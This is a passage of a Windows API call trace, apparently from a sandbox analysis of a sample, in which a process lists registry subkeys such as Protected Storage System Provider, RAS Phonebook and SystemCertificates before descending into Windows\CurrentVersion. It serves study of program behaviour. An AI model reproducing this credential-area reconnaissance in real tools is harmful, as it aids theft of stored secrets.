Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.912] RegEnumKeyW (in: hKey=0x120, dwIndex=0x20, lpName=0x21d9d18, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x22fc240, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.912] RegEnumKeyW (in: hKey=0x120, dwIndex=0x21, lpName=0x21d9d18, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.912] RegEnumKeyW (in: hKey=0x120, dwIndex=0x22, lpName=0x21d9d18, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x22fc240, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.912] RegEnumKeyW (in: hKey=0x120, dwIndex=0x23, lpName=0x21d9d18, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.913] RegEnumKeyW (in: hKey=0x120, dwIndex=0x24, lpName=0x21d9d18, cchName=0x104 | out: lpName="Shared") returned 0x0 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x22fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.913] RegEnumKeyW (in: hKey=0x120, dwIndex=0x25, lpName=0x21d9d18, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.913] RegEnumKeyW (in: hKey=0x120, dwIndex=0x26, lpName=0x21d9d18, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0025.913] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.913] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.914] RegEnumKeyW (in: hKey=0x120, dwIndex=0x27, lpName=0x21d9d18, cchName=0x104 | out: lpName="Speech") returned 0x0 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.914] RegEnumKeyW (in: hKey=0x120, dwIndex=0x28, lpName=0x21d9d18, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x22fc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.914] RegEnumKeyW (in: hKey=0x120, dwIndex=0x29, lpName=0x21d9d18, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x22fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.914] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.914] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2a, lpName=0x21d9d18, cchName=0x104 | out: lpName="VBA") returned 0x0 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.914] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.915] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2b, lpName=0x21d9d18, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.915] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2c, lpName=0x21d9d18, cchName=0x104 | out: lpName="WAB") returned 0x0 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.915] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2d, lpName=0x21d9d18, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x22fc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.915] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.915] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2e, lpName=0x21d9d18, cchName=0x104 | out: lpName="wfs") returned 0x0 [0025.915] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.916] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2f, lpName=0x21d9d18, cchName=0x104 | out: lpName="Windows") returned 0x0 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.916] RegOpenKeyExW (in: hKey=0x120, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0025.916] RegCloseKey (hKey=0x120) returned 0x0 [0025.916] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x22fc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0025.916] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.916] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.916] RegOpenKeyExW (in: hKey=0x124, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0025.916] RegCloseKey (hKey=0x124) returned 0x0 [0025.916] RegEnumKeyW (in: hKey=0x120, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.917] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1, lpName=0x21d9d18, cchName=0x104 | out: lpName="Applets") returned 0x0 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.917] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2, lpName=0x21d9d18, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x22fc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.917] RegEnumKeyW (in: hKey=0x120, dwIndex=0x3, lpName=0x21d9d18, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0025.917] RtlAllocateHeap 